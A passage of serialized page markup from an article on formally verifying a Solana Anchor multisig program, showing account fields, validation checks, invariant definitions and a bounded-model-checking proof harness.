threshold",{"type":20,"tag":315,"props":19578,"children":19579},{"style":334},[19580],{"type":26,"value":2884},{"type":20,"tag":315,"props":19582,"children":19583},{"style":322},[19584],{"type":26,"value":19434},{"type":20,"tag":315,"props":19586,"children":19587},{"style":328},[19588],{"type":26,"value":19589},", ",{"type":20,"tag":315,"props":19591,"children":19592},{"style":1071},[19593],{"type":26,"value":19594},"// threshold for signatures\n",{"type":20,"tag":315,"props":19596,"children":19597},{"class":317,"line":486},[19598,19602,19607,19611,19615,19620],{"type":20,"tag":315,"props":19599,"children":19600},{"style":541},[19601],{"type":26,"value":19247},{"type":20,"tag":315,"props":19603,"children":19604},{"style":635},[19605],{"type":26,"value":19606}," authority_index",{"type":20,"tag":315,"props":19608,"children":19609},{"style":334},[19610],{"type":26,"value":2884},{"type":20,"tag":315,"props":19612,"children":19613},{"style":322},[19614],{"type":26,"value":19434},{"type":20,"tag":315,"props":19616,"children":19617},{"style":328},[19618],{"type":26,"value":19619},", ",{"type":20,"tag":315,"props":19621,"children":19622},{"style":1071},[19623],{"type":26,"value":19624},"// index to seed other authorities under this multisig\n",{"type":20,"tag":315,"props":19626,"children":19627},{"class":317,"line":499},[19628,19632,19637,19641,19645,19650],{"type":20,"tag":315,"props":19629,"children":19630},{"style":541},[19631],{"type":26,"value":19247},{"type":20,"tag":315,"props":19633,"children":19634},{"style":635},[19635],{"type":26,"value":19636}," transaction_index",{"type":20,"tag":315,"props":19638,"children":19639},{"style":334},[19640],{"type":26,"value":2884},{"type":20,"tag":315,"props":19642,"children":19643},{"style":322},[19644],{"type":26,"value":15952},{"type":20,"tag":315,"props":19646,"children":19647},{"style":328},[19648],{"type":26,"value":19649},", ",{"type":20,"tag":315,"props":19651,"children":19652},{"style":1071},[19653],{"type":26,"value":19654},"// look up and seed reference for transactions\n",{"type":20,"tag":315,"props":19656,"children":19657},{"class":317,"line":513},[19658,19662,19667,19671,19675,19679],{"type":20,"tag":315,"props":19659,"children":19660},{"style":541},[19661],{"type":26,"value":19247},{"type":20,"tag":315,"props":19663,"children":19664},{"style":635},[19665],{"type":26,"value":19666}," ms_change_index",{"type":20,"tag":315,"props":19668,"children":19669},{"style":334},[19670],{"type":26,"value":2884},{"type":20,"tag":315,"props":19672,"children":19673},{"style":322},[19674],{"type":26,"value":15952},{"type":20,"tag":315,"props":19676,"children":19677},{"style":328},[19678],{"type":26,"value":19619},{"type":20,"tag":315,"props":19680,"children":19681},{"style":1071},[19682],{"type":26,"value":19683},"// the last executed/closed transaction\n",{"type":20,"tag":315,"props":19685,"children":19686},{"class":317,"line":521},[19687,19691,19696,19700,19704,19709],{"type":20,"tag":315,"props":19688,"children":19689},{"style":541},[19690],{"type":26,"value":19247},{"type":20,"tag":315,"props":19692,"children":19693},{"style":635},[19694],{"type":26,"value":19695}," bump",{"type":20,"tag":315,"props":19697,"children":19698},{"style":334},[19699],{"type":26,"value":2884},{"type":20,"tag":315,"props":19701,"children":19702},{"style":322},[19703],{"type":26,"value":13035},{"type":20,"tag":315,"props":19705,"children":19706},{"style":328},[19707],{"type":26,"value":19708},", ",{"type":20,"tag":315,"props":19710,"children":19711},{"style":1071},[19712],{"type":26,"value":19713},"// bump for the multisig seed\n",{"type":20,"tag":315,"props":19715,"children":19716},{"class":317,"line":552},[19717,19721,19726,19730,19734,19739],{"type":20,"tag":315,"props":19718,"children":19719},{"style":541},[19720],{"type":26,"value":19247},{"type":20,"tag":315,"props":19722,"children":19723},{"style":635},[19724],{"type":26,"value":19725}," create_key",{"type":20,"tag":315,"props":19727,"children":19728},{"style":334},[19729],{"type":26,"value":2884},{"type":20,"tag":315,"props":19731,"children":19732},{"style":322},[19733],{"type":26,"value":19261},{"type":20,"tag":315,"props":19735,"children":19736},{"style":328},[19737],{"type":26,"value":19738},", ",{"type":20,"tag":315,"props":19740,"children":19741},{"style":1071},[19742],{"type":26,"value":19743},"// random key(or not) used to seed the multisig pda\n",{"type":20,"tag":315,"props":19745,"children":19746},{"class":317,"line":571},[19747,19751,19756,19760,19764,19768],{"type":20,"tag":315,"props":19748,"children":19749},{"style":541},[19750],{"type":26,"value":19247},{"type":20,"tag":315,"props":19752,"children":19753},{"style":635},[19754],{"type":26,"value":19755}," allow_external_execute",{"type":20,"tag":315,"props":19757,"children":19758},{"style":334},[19759],{"type":26,"value":2884},{"type":20,"tag":315,"props":19761,"children":19762},{"style":322},[19763],{"type":26,"value":10451},{"type":20,"tag":315,"props":19765,"children":19766},{"style":328},[19767],{"type":26,"value":44},{"type":20,"tag":315,"props":19769,"children":19770},{"style":1071},[19771],{"type":26,"value":19772},"// allow non-member keys to execute txs\n",{"type":20,"tag":315,"props":19774,"children":19775},{"class":317,"line":2031},[19776,19780,19785,19789,19794,19798,19803,19808],{"type":20,"tag":315,"props":19777,"children":19778},{"style":541},[19779],{"type":26,"value":19247},{"type":20,"tag":315,"props":19781,"children":19782},{"style":635},[19783],{"type":26,"value":19784}," keys",{"type":20,"tag":315,"props":19786,"children":19787},{"style":334},[19788],{"type":26,"value":2884},{"type":20,"tag":315,"props":19790,"children":19791},{"style":322},[19792],{"type":26,"value":19793}," Vec",{"type":20,"tag":315,"props":19795,"children":19796},{"style":328},[19797],{"type":26,"value":4199},{"type":20,"tag":315,"props":19799,"children":19800},{"style":322},[19801],{"type":26,"value":19802},"Pubkey",{"type":20,"tag":315,"props":19804,"children":19805},{"style":328},[19806],{"type":26,"value":19807},">, ",{"type":20,"tag":315,"props":19809,"children":19810},{"style":1071},[19811],{"type":26,"value":19812},"// keys of the members\n",{"type":20,"tag":315,"props":19814,"children":19815},{"class":317,"line":2053},[19816],{"type":20,"tag":315,"props":19817,"children":19818},{"style":328},[19819],{"type":26,"value":577},{"type":20,"tag":29,"props":19821,"children":19822},{},[19823],{"type":26,"value":19824},"Here we are verifying multiple things at once:",{"type":20,"tag":15089,"props":19826,"children":19827},{},[19828,19839,19850,19861],{"type":20,"tag":72,"props":19829,"children":19830},{},[19831,19837],{"type":20,"tag":119,"props":19832,"children":19834},{"className":19833},[],[19835],{"type":26,"value":19836},"!self.keys.is_empty()",{"type":26,"value":19838}," : ensure there is at least one member",{"type":20,"tag":72,"props":19840,"children":19841},{},[19842,19848],{"type":20,"tag":119,"props":19843,"children":19845},{"className":19844},[],[19846],{"type":26,"value":19847},"self.keys.len() \u003C= u16::MAX as usize",{"type":26,"value":19849}," : set an upper limit of 65535 members",{"type":20,"tag":72,"props":19851,"children":19852},{},[19853,19859],{"type":20,"tag":119,"props":19854,"children":19856},{"className":19855},[],[19857],{"type":26,"value":19858},"self.threshold >= 1",{"type":26,"value":19860}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":20,"tag":72,"props":19862,"children":19863},{},[19864,19870],{"type":20,"tag":119,"props":19865,"children":19867},{"className":19866},[],[19868],{"type":26,"value":19869},"self.threshold as usize \u003C= self.keys.len()",{"type":26,"value":19871}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":20,"tag":21,"props":19873,"children":19875},{"id":19874},"verification-how-do-we-check-that-our-model-is-correct",[19876],{"type":26,"value":19877},"Verification: How do we check that our model is correct?",{"type":20,"tag":29,"props":19879,"children":19880},{},[19881,19883,19887,19889,19894],{"type":26,"value":19882},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":20,"tag":55,"props":19884,"children":19885},{},[19886],{"type":26,"value":18372},{"type":26,"value":19888}," on which we can run bounded model checking. Our tool does this ",{"type":20,"tag":55,"props":19890,"children":19891},{},[19892],{"type":26,"value":19893},"automagically",{"type":26,"value":19895}," for anchor-lang programs.",{"type":20,"tag":29,"props":19897,"children":19898},{},[19899,19901,19907,19909,19914,19916,19921,19922,19927,19929,19934,19936,19941,19942,19948,19950,19956,19957,19963],{"type":26,"value":19900},"Specifically, for a given ",{"type":20,"tag":119,"props":19902,"children":19904},{"className":19903},[],[19905],{"type":26,"value":19906},"Context\u003CT>",{"type":26,"value":19908}," with ",{"type":20,"tag":55,"props":19910,"children":19911},{},[19912],{"type":26,"value":19913},"incoming",{"type":26,"value":19915}," accounts of types (",{"type":20,"tag":119,"props":19917,"children":19919},{"className":19918},[],[19920],{"type":26,"value":19144},{"type":26,"value":786},{"type":20,"tag":119,"props":19923,"children":19925},{"className":19924},[],[19926],{"type":26,"value":2107},{"type":26,"value":19928},") and ",{"type":20,"tag":55,"props":19930,"children":19931},{},[19932],{"type":26,"value":19933},"outgoing",{"type":26,"value":19935}," accounts of type (",{"type":20,"tag":119,"props":19937,"children":19939},{"className":19938},[],[19940],{"type":26,"value":2107},{"type":26,"value":786},{"type":20,"tag":119,"props":19943,"children":19945},{"className":19944},[],[19946],{"type":26,"value":19947},"close",{"type":26,"value":19949},") we define a ",{"type":20,"tag":119,"props":19951,"children":19953},{"className":19952},[],[19954],{"type":26,"value":19955},"pre_condition",{"type":26,"value":9392},{"type":20,"tag":119,"props":19958,"children":19960},{"className":19959},[],[19961],{"type":26,"value":19962},"post_condition",{"type":26,"value":19964}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":20,"tag":29,"props":19966,"children":19967},{},[19968],{"type":20,"tag":119,"props":19969,"children":19971},{"className":19970},[2375,2376],[19972],{"type":20,"tag":315,"props":19973,"children":19975},{"className":19974},[2381],[19976],{"type":20,"tag":315,"props":19977,"children":19979},{"className":19978,"ariaHidden":2387},[2386],[19980,20016],{"type":20,"tag":315,"props":19981,"children":19983},{"className":19982},[2392],[19984,19989,19997,20002,20006,20012],{"type":20,"tag":315,"props":19985,"children":19988},{"className":19986,"style":19987},[2397],"height:0.6833em;",[],{"type":20,"tag":315,"props":19990,"children":19994},{"className":19991,"style":19993},[2403,19992],"mathnormal","margin-right:0.13889em;",[19995],{"type":26,"value":19996},"P",{"type":20,"tag":315,"props":19998,"children":20000},{"className":19999},[2403],[20001],{"type":26,"value":1063},{"type":20,"tag":315,"props":20003,"children":20005},{"className":20004,"style":2581},[2483],[],{"type":20,"tag":315,"props":20007,"children":20009},{"className":20008},[2586],[20010],{"type":26,"value":20011},":=",{"type":20,"tag":315,"props":20013,"children":20015},{"className":20014,"style":2581},[2483],[],{"type":20,"tag":315,"props":20017,"children":20019},{"className":20018},[2392],[20020,20025,20165,20169],{"type":20,"tag":315,"props":20021,"children":20024},{"className":20022,"style":20023},[2397],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":20,"tag":315,"props":20026,"children":20029},{"className":20027},[20028],"mop",[20030,20039],{"type":20,"tag":315,"props":20031,"children":20036},{"className":20032,"style":20035},[20028,20033,20034],"op-symbol","small-op","position:relative;top:0em;",[20037],{"type":26,"value":20038},"⋀",{"type":20,"tag":315,"props":20040,"children":20042},{"className":20041},[2419],[20043],{"type":20,"tag":315,"props":20044,"children":20047},{"className":20045},[2424,20046],"vlist-t2",[20048,20153],{"type":20,"tag":315,"props":20049,"children":20051},{"className":20050},[2429],[20052,20146],{"type":20,"tag":315,"props":20053,"children":20056},{"className":20054,"style":20055},[2434],"height:0.2253em;",[20057],{"type":20,"tag":315,"props":20058,"children":20060},{"style":20059},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[20061,20065],{"type":20,"tag":315,"props":20062,"children":20064},{"className":20063,"style":2444},[2443],[],{"type":20,"tag":315,"props":20066,"children":20068},{"className":20067},[2449,2450,2451,2452],[20069],{"type":20,"tag":315,"props":20070,"children":20072},{"className":20071},[2403,2452],[20073,20078,20084,20094,20100,20109,20118,20124,20129,20135,20140],{"type":20,"tag":315,"props":20074,"children":20076},{"className":20075},[2403,19992,2452],[20077],{"type":26,"value":35},{"type":20,"tag":315,"props":20079,"children":20081},{"className":20080},[2403,19992,2452],[20082],{"type":26,"value":20083},"cc",{"type":20,"tag":315,"props":20085,"children":20087},{"className":20086},[2483,2452],[20088],{"type":20,"tag":315,"props":20089,"children":20091},{"className":20090},[2452],[20092],{"type":26,"value":20093}," ",{"type":20,"tag":315,"props":20095,"children":20097},{"className":20096},[2586,2452],[20098],{"type":26,"value":20099},"∈",{"type":20,"tag":315,"props":20101,"children":20103},{"className":20102},[2483,2452],[20104],{"type":20,"tag":315,"props":20105,"children":20107},{"className":20106},[2452],[20108],{"type":26,"value":20093},{"type":20,"tag":315,"props":20110,"children":20112},{"className":20111},[2403,26,2452],[20113],{"type":20,"tag":315,"props":20114,"children":20116},{"className":20115},[2403,2452],[20117],{"type":26,"value":19913},{"type":20,"tag":315,"props":20119,"children":20122},{"className":20120},[20121,2452],"mopen",[20123],{"type":26,"value":1049},{"type":20,"tag":315,"props":20125,"children":20127},{"className":20126},[2403,19992,2452],[20128],{"type":26,"value":1528},{"type":20,"tag":315,"props":20130,"children":20132},{"className":20131},[2403,19992,2452],[20133],{"type":26,"value":20134},"t",{"type":20,"tag":315,"props":20136,"children":20138},{"className":20137},[2403,19992,2452],[20139],{"type":26,"value":17680},{"type":20,"tag":315,"props":20141,"children":20144},{"className":20142},[20143,2452],"mclose",[20145],{"type":26,"value":1509},{"type":20,"tag":315,"props":20147,"children":20150},{"className":20148},[20149],"vlist-s",[20151],{"type":26,"value":20152},"​",{"type":20,"tag":315,"props":20154,"children":20156},{"className":20155},[2429],[20157],{"type":20,"tag":315,"props":20158,"children":20161},{"className":20159,"style":20160},[2434],"height:0.4747em;",[20162],{"type":20,"tag":315,"props":20163,"children":20164},{},[],{"type":20,"tag":315,"props":20166,"children":20168},{"className":20167,"style":2522},[2483],[],{"type":20,"tag":315,"props":20170,"children":20172},{"className":20171},[2403],[20173,20183,20188,20193,20198],{"type":20,"tag":315,"props":20174,"children":20176},{"className":20175},[2403,26],[20177],{"type":20,"tag":315,"props":20178,"children":20180},{"className":20179},[2403],[20181],{"type":26,"value":20182},"invariant",{"type":20,"tag":315,"props":20184,"children":20186},{"className":20185},[20121],[20187],{"type":26,"value":1049},{"type":20,"tag":315,"props":20189,"children":20191},{"className":20190},[2403,19992],[20192],{"type":26,"value":35},{"type":20,"tag":315,"props":20194,"children":20196},{"className":20195},[2403,19992],[20197],{"type":26,"value":20083},{"type":20,"tag":315,"props":20199,"children":20201},{"className":20200},[20143],[20202],{"type":26,"value":1509},{"type":20,"tag":29,"props":20204,"children":20205},{},[20206],{"type":20,"tag":119,"props":20207,"children":20209},{"className":20208},[2375,2376],[20210],{"type":20,"tag":315,"props":20211,"children":20213},{"className":20212},[2381],[20214],{"type":20,"tag":315,"props":20215,"children":20217},{"className":20216,"ariaHidden":2387},[2386],[20218,20249],{"type":20,"tag":315,"props":20219,"children":20221},{"className":20220},[2392],[20222,20226,20231,20236,20240,20245],{"type":20,"tag":315,"props":20223,"children":20225},{"className":20224,"style":19987},[2397],[],{"type":20,"tag":315,"props":20227,"children":20229},{"className":20228,"style":19993},[2403,19992],[20230],{"type":26,"value":19996},{"type":20,"tag":315,"props":20232,"children":20234},{"className":20233},[2403],[20235],{"type":26,"value":2406},{"type":20,"tag":315,"props":20237,"children":20239},{"className":20238,"style":2581},[2483],[],{"type":20,"tag":315,"props":20241,"children":20243},{"className":20242},[2586],[20244],{"type":26,"value":20011},{"type":20,"tag":315,"props":20246,"children":20248},{"className":20247,"style":2581},[2483],[],{"type":20,"tag":315,"props":20250,"children":20252},{"className":20251},[2392],[20253,20257,20380,20384],{"type":20,"tag":315,"props":20254,"children":20256},{"className":20255,"style":20023},[2397],[],{"type":20,"tag":315,"props":20258,"children":20260},{"className":20259},[20028],[20261,20266],{"type":20,"tag":315,"props":20262,"children":20264},{"className":20263,"style":20035},[20028,20033,20034],[20265],{"type":26,"value":20038},{"type":20,"tag":315,"props":20267,"children":20269},{"className":20268},[2419],[20270],{"type":20,"tag":315,"props":20271,"children":20273},{"className":20272},[2424,20046],[20274,20369],{"type":20,"tag":315,"props":20275,"children":20277},{"className":20276},[2429],[20278,20364],{"type":20,"tag":315,"props":20279,"children":20281},{"className":20280,"style":20055},[2434],[20282],{"type":20,"tag":315,"props":20283,"children":20284},{"style":20059},[20285,20289],{"type":20,"tag":315,"props":20286,"children":20288},{"className":20287,"style":2444},[2443],[],{"type":20,"tag":315,"props":20290,"children":20292},{"className":20291},[2449,2450,2451,2452],[20293],{"type":20,"tag":315,"props":20294,"children":20296},{"className":20295},[2403,2452],[20297,20302,20307,20316,20321,20330,20339,20344,20349,20354,20359],{"type":20,"tag":315,"props":20298,"children":20300},{"className":20299},[2403,19992,2452],[20301],{"type":26,"value":35},{"type":20,"tag":315,"props":20303,"children":20305},{"className":20304},[2403,19992,2452],[20306],{"type":26,"value":20083},{"type":20,"tag":315,"props":20308,"children":20310},{"className":20309},[2483,2452],[20311],{"type":20,"tag":315,"props":20312,"children":20314},{"className":20313},[2452],[20315],{"type":26,"value":20093},{"type":20,"tag":315,"props":20317,"children":20319},{"className":20318},[2586,2452],[20320],{"type":26,"value":20099},{"type":20,"tag":315,"props":20322,"children":20324},{"className":20323},[2483,2452],[20325],{"type":20,"tag":315,"props":20326,"children":20328},{"className":20327},[2452],[20329],{"type":26,"value":20093},{"type":20,"tag":315,"props":20331,"children":20333},{"className":20332},[2403,26,2452],[20334],{"type":20,"tag":315,"props":20335,"children":20337},{"className":20336},[2403,2452],[20338],{"type":26,"value":19933},{"type":20,"tag":315,"props":20340,"children":20342},{"className":20341},[20121,2452],[20343],{"type":26,"value":1049},{"type":20,"tag":315,"props":20345,"children":20347},{"className":20346},[2403,19992,2452],[20348],{"type":26,"value":1528},{"type":20,"tag":315,"props":20350,"children":20352},{"className":20351},[2403,19992,2452],[20353],{"type":26,"value":20134},{"type":20,"tag":315,"props":20355,"children":20357},{"className":20356},[2403,19992,2452],[20358],{"type":26,"value":17680},{"type":20,"tag":315,"props":20360,"children":20362},{"className":20361},[20143,2452],[20363],{"type":26,"value":1509},{"type":20,"tag":315,"props":20365,"children":20367},{"className":20366},[20149],[20368],{"type":26,"value":20152},{"type":20,"tag":315,"props":20370,"children":20372},{"className":20371},[2429],[20373],{"type":20,"tag":315,"props":20374,"children":20376},{"className":20375,"style":20160},[2434],[20377],{"type":20,"tag":315,"props":20378,"children":20379},{},[],{"type":20,"tag":315,"props":20381,"children":20383},{"className":20382,"style":2522},[2483],[],{"type":20,"tag":315,"props":20385,"children":20387},{"className":20386},[2403],[20388,20397,20402,20407,20412],{"type":20,"tag":315,"props":20389,"children":20391},{"className":20390},[2403,26],[20392],{"type":20,"tag":315,"props":20393,"children":20395},{"className":20394},[2403],[20396],{"type":26,"value":20182},{"type":20,"tag":315,"props":20398,"children":20400},{"className":20399},[20121],[20401],{"type":26,"value":1049},{"type":20,"tag":315,"props":20403,"children":20405},{"className":20404},[2403,19992],[20406],{"type":26,"value":35},{"type":20,"tag":315,"props":20408,"children":20410},{"className":20409},[2403,19992],[20411],{"type":26,"value":20083},{"type":20,"tag":315,"props":20413,"children":20415},{"className":20414},[20143],[20416],{"type":26,"value":1509},{"type":20,"tag":29,"props":20418,"children":20419},{},[20420],{"type":26,"value":20421},"Our instruction invariants are represented as:",{"type":20,"tag":15089,"props":20423,"children":20424},{},[20425,20461],{"type":20,"tag":72,"props":20426,"children":20427},{},[20428,20455,20456],{"type":20,"tag":119,"props":20429,"children":20431},{"className":20430},[2375,2376],[20432],{"type":20,"tag":315,"props":20433,"children":20435},{"className":20434},[2381],[20436],{"type":20,"tag":315,"props":20437,"children":20439},{"className":20438,"ariaHidden":2387},[2386],[20440],{"type":20,"tag":315,"props":20441,"children":20443},{"className":20442},[2392],[20444,20448],{"type":20,"tag":315,"props":20445,"children":20447},{"className":20446,"style":19987},[2397],[],{"type":20,"tag":315,"props":20449,"children":20452},{"className":20450,"style":20451},[2403,19992],"margin-right:0.05764em;",[20453],{"type":26,"value":20454},"S",{"type":26,"value":13732},{"type":20,"tag":119,"props":20457,"children":20459},{"className":20458},[],[20460],{"type":26,"value":18558},{"type":20,"tag":72,"props":20462,"children":20463},{},[20464,20490,20491],{"type":20,"tag":119,"props":20465,"children":20467},{"className":20466},[2375,2376],[20468],{"type":20,"tag":315,"props":20469,"children":20471},{"className":20470},[2381],[20472],{"type":20,"tag":315,"props":20473,"children":20475},{"className":20474,"ariaHidden":2387},[2386],[20476],{"type":20,"tag":315,"props":20477,"children":20479},{"className":20478},[2392],[20480,20484],{"type":20,"tag":315,"props":20481,"children":20483},{"className":20482,"style":19987},[2397],[],{"type":20,"tag":315,"props":20485,"children":20487},{"className":20486,"style":20451},[2403,19992],[20488],{"type":26,"value":20489},"E",{"type":26,"value":13732},{"type":20,"tag":119,"props":20492,"children":20494},{"className":20493},[],[20495],{"type":26,"value":18565},{"type":20,"tag":29,"props":20497,"children":20498},{},[20499,20501,20528,20530,20535,20537,20543],{"type":26,"value":20500},"And ",{"type":20,"tag":119,"props":20502,"children":20504},{"className":20503},[2375,2376],[20505],{"type":20,"tag":315,"props":20506,"children":20508},{"className":20507},[2381],[20509],{"type":20,"tag":315,"props":20510,"children":20512},{"className":20511,"ariaHidden":2387},[2386],[20513],{"type":20,"tag":315,"props":20514,"children":20516},{"className":20515},[2392],[20517,20521],{"type":20,"tag":315,"props":20518,"children":20520},{"className":20519,"style":19987},[2397],[],{"type":20,"tag":315,"props":20522,"children":20525},{"className":20523,"style":20524},[2403,19992],"margin-right:0.07153em;",[20526],{"type":26,"value":20527},"K",{"type":26,"value":20529}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":20,"tag":119,"props":20531,"children":20533},{"className":20532},[],[20534],{"type":26,"value":18893},{"type":26,"value":20536}," not an ",{"type":20,"tag":119,"props":20538,"children":20540},{"className":20539},[],[20541],{"type":26,"value":20542},"Err",{"type":26,"value":19146},{"type":20,"tag":29,"props":20545,"children":20546},{},[20547],{"type":26,"value":20548},"In order to verify these conditions we need to verify three cases:",{"type":20,"tag":219,"props":20550,"children":20552},{"id":20551},"account-invariants-1",[20553],{"type":26,"value":20554},"Account invariants",{"type":20,"tag":29,"props":20556,"children":20557},{},[20558,20560,20591,20593,20623,20625,20655],{"type":26,"value":20559},"After we execute an instruction, either the function should error and be reverted (",{"type":20,"tag":119,"props":20561,"children":20563},{"className":20562},[2375,2376],[20564],{"type":20,"tag":315,"props":20565,"children":20567},{"className":20566},[2381],[20568],{"type":20,"tag":315,"props":20569,"children":20571},{"className":20570,"ariaHidden":2387},[2386],[20572],{"type":20,"tag":315,"props":20573,"children":20575},{"className":20574},[2392],[20576,20580,20586],{"type":20,"tag":315,"props":20577,"children":20579},{"className":20578,"style":19987},[2397],[],{"type":20,"tag":315,"props":20581,"children":20583},{"className":20582},[2403],[20584],{"type":26,"value":20585},"¬",{"type":20,"tag":315,"props":20587,"children":20589},{"className":20588,"style":20524},[2403,19992],[20590],{"type":26,"value":20527},{"type":26,"value":20592},") or the account post-invariants should hold (",{"type":20,"tag":119,"props":20594,"children":20596},{"className":20595},[2375,2376],[20597],{"type":20,"tag":315,"props":20598,"children":20600},{"className":20599},[2381],[20601],{"type":20,"tag":315,"props":20602,"children":20604},{"className":20603,"ariaHidden":2387},[2386],[20605],{"type":20,"tag":315,"props":20606,"children":20608},{"className":20607},[2392],[20609,20613,20618],{"type":20,"tag":315,"props":20610,"children":20612},{"className":20611,"style":19987},[2397],[],{"type":20,"tag":315,"props":20614,"children":20616},{"className":20615,"style":19993},[2403,19992],[20617],{"type":26,"value":19996},{"type":20,"tag":315,"props":20619,"children":20621},{"className":20620},[2403],[20622],{"type":26,"value":2406},{"type":26,"value":20624},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":20,"tag":119,"props":20626,"children":20628},{"className":20627},[2375,2376],[20629],{"type":20,"tag":315,"props":20630,"children":20632},{"className":20631},[2381],[20633],{"type":20,"tag":315,"props":20634,"children":20636},{"className":20635,"ariaHidden":2387},[2386],[20637],{"type":20,"tag":315,"props":20638,"children":20640},{"className":20639},[2392],[20641,20645,20650],{"type":20,"tag":315,"props":20642,"children":20644},{"className":20643,"style":19987},[2397],[],{"type":20,"tag":315,"props":20646,"children":20648},{"className":20647,"style":19993},[2403,19992],[20649],{"type":26,"value":19996},{"type":20,"tag":315,"props":20651,"children":20653},{"className":20652},[2403],[20654],{"type":26,"value":1063},{"type":26,"value":20656},") should hold since we will verify all of the functions eventually.",{"type":20,"tag":29,"props":20658,"children":20659},{},[20660,20662],{"type":26,"value":20661},"So we are trying to prove that ",{"type":20,"tag":119,"props":20663,"children":20665},{"className":20664},[2375,2376],[20666],{"type":20,"tag":315,"props":20667,"children":20669},{"className":20668},[2381],[20670],{"type":20,"tag":315,"props":20671,"children":20673},{"className":20672,"ariaHidden":2387},[2386],[20674,20711,20743],{"type":20,"tag":315,"props":20675,"children":20677},{"className":20676},[2392],[20678,20682,20687,20692,20697,20701,20707],{"type":20,"tag":315,"props":20679,"children":20681},{"className":20680,"style":2504},[2397],[],{"type":20,"tag":315,"props":20683,"children":20685},{"className":20684},[20121],[20686],{"type":26,"value":1049},{"type":20,"tag":315,"props":20688,"children":20690},{"className":20689,"style":19993},[2403,19992],[20691],{"type":26,"value":19996},{"type":20,"tag":315,"props":20693,"children":20695},{"className":20694},[2403],[20696],{"type":26,"value":1063},{"type":20,"tag":315,"props":20698,"children":20700},{"className":20699,"style":2484},[2483],[],{"type":20,"tag":315,"props":20702,"children":20704},{"className":20703},[2489],[20705],{"type":26,"value":20706},"∧",{"type":20,"tag":315,"props":20708,"children":20710},{"className":20709,"style":2484},[2483],[],{"type":20,"tag":315,"props":20712,"children":20714},{"className":20713},[2392],[20715,20719,20724,20729,20733,20739],{"type":20,"tag":315,"props":20716,"children":20718},{"className":20717,"style":2504},[2397],[],{"type":20,"tag":315,"props":20720,"children":20722},{"className":20721,"style":20524},[2403,19992],[20723],{"type":26,"value":20527},{"type":20,"tag":315,"props":20725,"children":20727},{"className":20726},[20143],[20728],{"type":26,"value":1509},{"type":20,"tag":315,"props":20730,"children":20732},{"className":20731,"style":2581},[2483],[],{"type":20,"tag":315,"props":20734,"children":20736},{"className":20735},[2586],[20737],{"type":26,"value":20738},"→",{"type":20,"tag":315,"props":20740,"children":20742},{"className":20741,"style":2581},[2483],[],{"type":20,"tag":315,"props":20744,"children":20746},{"className":20745},[2392],[20747,20751,20756],{"type":20,"tag":315,"props":20748,"children":20750},{"className":20749,"style":19987},[2397],[],{"type":20,"tag":315,"props":20752,"children":20754},{"className":20753,"style":19993},[2403,19992],[20755],{"type":26,"value":19996},{"type":20,"tag":315,"props":20757,"children":20759},{"className":20758},[2403],[20760],{"type":26,"value":2406},{"type":20,"tag":29,"props":20762,"children":20763},{},[20764],{"type":26,"value":20765},"We can construct a proof harness like the following:",{"type":20,"tag":305,"props":20767,"children":20769},{"code":20768,"language":17864,"meta":7,"className":17865,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[20770],{"type":20,"tag":119,"props":20771,"children":20772},{"__ignoreMap":7},[20773,20781,20798],{"type":20,"tag":315,"props":20774,"children":20775},{"class":317,"line":318},[20776],{"type":20,"tag":315,"props":20777,"children":20778},{"style":328},[20779],{"type":26,"value":20780},"assume(P0)\n",{"type":20,"tag":315,"props":20782,"children":20783},{"class":317,"line":356},[20784,20789,20793],{"type":20,"tag":315,"props":20785,"children":20786},{"style":328},[20787],{"type":26,"value":20788},"res ",{"type":20,"tag":315,"props":20790,"children":20791},{"style":334},[20792],{"type":26,"value":337},{"type":20,"tag":315,"props":20794,"children":20795},{"style":328},[20796],{"type":26,"value":20797}," instruction_handler(...)\n",{"type":20,"tag":315,"props":20799,"children":20800},{"class":317,"line":365},[20801,20805,20809,20814,20819,20824],{"type":20,"tag":315,"props":20802,"children":20803},{"style":525},[20804],{"type":26,"value":18387},{"type":20,"tag":315,"props":20806,"children":20807},{"style":328},[20808],{"type":26,"value":1049},{"type":20,"tag":315,"props":20810,"children":20812},{"style":20811},"--shiki-default:#F44747",[20813],{"type":26,"value":19025},{"type":20,"tag":315,"props":20815,"children":20816},{"style":328},[20817],{"type":26,"value":20818},"K ",{"type":20,"tag":315,"props":20820,"children":20821},{"style":20811},[20822],{"type":26,"value":20823},"||",{"type":20,"tag":315,"props":20825,"children":20826},{"style":328},[20827],{"type":26,"value":20828}," P1)\n",{"type":20,"tag":29,"props":20830,"children":20831},{},[20832],{"type":26,"value":20833},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":20,"tag":219,"props":20835,"children":20837},{"id":20836},"positive-instruction-invariant",[20838],{"type":26,"value":20839},"Positive instruction invariant",{"type":20,"tag":29,"props":20841,"children":20842},{},[20843,20845,20851,20853,20904],{"type":26,"value":20844},"Next we need to prove that ",{"type":20,"tag":119,"props":20846,"children":20848},{"className":20847},[],[20849],{"type":26,"value":20850},"success_if",{"type":26,"value":20852}," is a sufficient condition for instruction success. I.e. ",{"type":20,"tag":119,"props":20854,"children":20856},{"className":20855},[2375,2376],[20857],{"type":20,"tag":315,"props":20858,"children":20860},{"className":20859},[2381],[20861],{"type":20,"tag":315,"props":20862,"children":20864},{"className":20863,"ariaHidden":2387},[2386],[20865,20891],{"type":20,"tag":315,"props":20866,"children":20868},{"className":20867},[2392],[20869,20873,20878,20882,20887],{"type":20,"tag":315,"props":20870,"children":20872},{"className":20871,"style":19987},[2397],[],{"type":20,"tag":315,"props":20874,"children":20876},{"className":20875,"style":20451},[2403,19992],[20877],{"type":26,"value":20454},{"type":20,"tag":315,"props":20879,"children":20881},{"className":20880,"style":2581},[2483],[],{"type":20,"tag":315,"props":20883,"children":20885},{"className":20884},[2586],[20886],{"type":26,"value":20738},{"type":20,"tag":315,"props":20888,"children":20890},{"className":20889,"style":2581},[2483],[],{"type":20,"tag":315,"props":20892,"children":20894},{"className":20893},[2392],[20895,20899],{"type":20,"tag":315,"props":20896,"children":20898},{"